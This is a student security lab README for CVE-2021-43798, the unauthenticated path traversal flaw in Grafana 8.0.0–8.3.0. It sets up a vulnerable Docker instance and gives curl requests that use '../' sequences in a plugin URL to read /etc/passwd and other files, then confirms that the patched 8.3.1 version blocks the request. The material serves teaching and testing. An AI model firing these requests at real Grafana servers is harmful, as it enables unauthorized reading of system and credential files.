
CVE-2021-43798 Grafana Unauthenticated Path Traversal - Security Lab | Shivam Gupta | 23104003
Educational use only. Run this lab only on an isolated local machine. Never expose it to the internet.
| Field | Detail |
|---|---|
| CVE ID | CVE-2021-43798 |
| Product | Grafana |
| Affected Versions | 8.0.0 – 8.3.0 |
| Patched Version | 8.3.1+ |
| Severity | High |
| CVSS v3.1 Score | 7.5 |
| CWE | CWE-22 — Path Traversal |
| Authentication Required | None |
| Attack Vector | Network |
git clone https://github.com/YOUR_USERNAME/INE_Shivam_Gupta.git
cd INE_Shivam_Gupta
docker compose up -d
Verify:
curl http://127.0.0.1:3000/api/health
# Expected: "version": "8.3.0"
Open http://127.0.0.1:3000 — login: admin / admin
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/passwd"
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/lab_secret.txt"
Expected: file contents returned with HTTP 200 — no authentication required.
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/hostname"
curl.exe http://127.0.0.1:3000/api/health
If hostname is returned → VULNERABLE. Version 8.0.0–8.3.0 → VULNERABLE.
Start patched instance (Grafana 8.3.1):
docker compose -f docker-compose.patched.yml up -d
Verify exploit is blocked:
curl.exe --path-as-is "http://127.0.0.1:3001/public/plugins/alertlist/../../../../../../../../../etc/passwd"
# Expected: {"message": "Plugin file not found"}
docker compose down
docker compose -f docker-compose.patched.yml down